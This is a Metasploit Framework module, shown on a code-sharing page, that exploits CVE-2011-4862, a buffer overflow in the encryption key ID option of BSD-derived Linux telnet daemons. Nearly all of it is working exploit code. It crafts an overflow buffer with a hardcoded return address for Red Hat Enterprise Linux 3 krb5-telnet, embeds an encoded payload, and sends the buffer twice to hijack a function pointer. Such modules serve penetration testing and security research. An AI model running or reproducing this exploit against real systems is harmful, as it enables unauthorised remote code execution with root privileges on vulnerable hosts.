Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb
19718 views
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GreatRanking
10
11
include Msf::Exploit::Remote::Telnet
12
include Msf::Exploit::BruteTargets
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
19
'Description' => %q{
20
This module exploits a buffer overflow in the encryption option handler of the
21
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
22
use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
23
Linux systems running telnetd.
24
},
25
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
26
'License' => MSF_LICENSE,
27
'References' => [
28
['CVE', '2011-4862'],
29
['OSVDB', '78020'],
30
['BID', '51182'],
31
['EDB', '18280']
32
],
33
'Privileged' => true,
34
'Platform' => 'linux',
35
'Payload' => {
36
'Space' => 200,
37
'BadChars' => "\x00",
38
'DisableNops' => true,
39
},
40
41
'Targets' => [
42
[ 'Automatic', {} ],
43
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2011-12-23',
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
end
55
56
def exploit_target(t)
57
connect
58
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
59
vprint_status(banner_sanitized)
60
61
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
62
enc_keyid = "\xff\xfa\x26\x07"
63
end_suboption = "\xff\xf0"
64
65
penc = payload.encoded.gsub("\xff", "\xff\xff")
66
67
key_id = Rex::Text.rand_text_alphanumeric(400)
68
69
key_id[0, 2] = "\xeb\x76"
70
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
71
key_id[76, 4] = [ t['Ret'] ].pack("V")
72
73
# Some of these bytes can get mangled, jump over them
74
key_id[80, 40] = "\x41" * 40
75
76
# Insert the real payload
77
key_id[120, penc.length] = penc
78
79
# Create the Key ID command
80
sploit = enc_keyid + key_id + end_suboption
81
82
# Initiate encryption
83
sock.put(enc_init)
84
85
# Wait for a successful response
86
loop do
87
data = sock.get_once(-1, 5) rescue nil
88
if not data
89
fail_with(Failure::Unknown, "This system does not support encryption")
90
end
91
break if data.index("\xff\xfa\x26\x02\x01")
92
end
93
94
# The first request smashes the pointer
95
print_status("Sending first payload")
96
sock.put(sploit)
97
98
# Make sure the server replied to the first request
99
data = sock.get_once(-1, 5)
100
unless data
101
print_status("Server did not respond to first payload")
102
return
103
end
104
105
# Some delay between each request seems necessary in some cases
106
::IO.select(nil, nil, nil, 0.5)
107
108
# The second request results in the pointer being called
109
print_status("Sending second payload...")
110
sock.put(sploit)
111
handler
112
113
::IO.select(nil, nil, nil, 0.5)
114
disconnect
115
end
116
end
117
118